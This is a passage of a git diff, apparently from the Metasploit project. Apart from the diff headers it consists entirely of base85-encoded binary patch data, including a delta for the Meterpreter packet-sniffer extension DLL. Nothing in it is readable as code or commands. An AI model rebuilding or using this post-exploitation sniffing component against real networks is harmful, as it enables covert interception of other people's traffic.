zW;kdS0u2+K>_F~4?Y9>a3#i%3IILl!404jw`u$$P#Ix2 zbcpWSAqZ!HcZ2q*(z-VVvtg!o6CT7K6rDql=-R1v(939B?t{Dug27HJ~pcOaopA`X0h8;FNuWFb`o4uobjv zAI5(*A^?JIzgECn(B;@A*MVOOdH{hcMD#ksQSfC@{Q<4p(?Fj%BnUUahx;Y$MW7z7 z20dJh#v$!d&>sfsXg!I?!7Pq|*qx^t{${MCV+<7*Am;?RZfTx&kMGRw3*LCfe;XOf_%{s4eI! z5+M={nub7`&iX+RuKuV^qHCZT*R)E|ch*}G-h%!%(7Onf=|7-@f6{OvXzX>g7<{6= z5y%Gg2i=80`ny2~$||-ASpa*qh)@mM`WLO>P|z5+*1fTyuin56N8-((vu|n@nge>w zgRg+DxrLs94$+>!YWegAosB>Zn*+MNQ4s!wP8I0GzhV5<+5Vd#e1||b|03wv-v!|x zD9r)gj6jKr{^Y@bg1++y4Ax_q;h>>^YC1%BBD4qp8ffNUm|MVEpuZrD2EGA0{kB%t zEE~W!1ez2?*WJN*LTNMTg1^y4zzacx?!hDj2ZPT22Q2_D2EBz~nTB})`n`Z9jIO={ zn#ZsY&@Ko1h)&~=1I_ZnM28O1sraKzTW>_B5r7Yq2V4s3Hee|M-vDhN1k(&m6z54{ z9dHt8L@>IL_@HAE>VR>~5f&p*Z!HDAjX=HI1Udd{r8QZ#x3 z{MDfUAXEbrm19t$X*P5nz<>@IF9?c3>0FdBMWfq1m?)iXh)FdZ4_NI*J7*LX0|&upH^XQ1TXk`mF&9!&Ia4<>4g*K~-IpGx{f$9ZrOD7o&$ XC;Ey96aCDCiPn1Xj#r*%bM*fQhq)Fz diff --git a/data/meterpreter/ext_server_sniffer.dll b/data/meterpreter/ext_server_sniffer.dll index 51d1815cd6849da3174fabea76ee9defc339e86f..211b0a75d6c2ba4fe992be7e80d08642f2b07a56 100755 GIT binary patch delta 49271 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 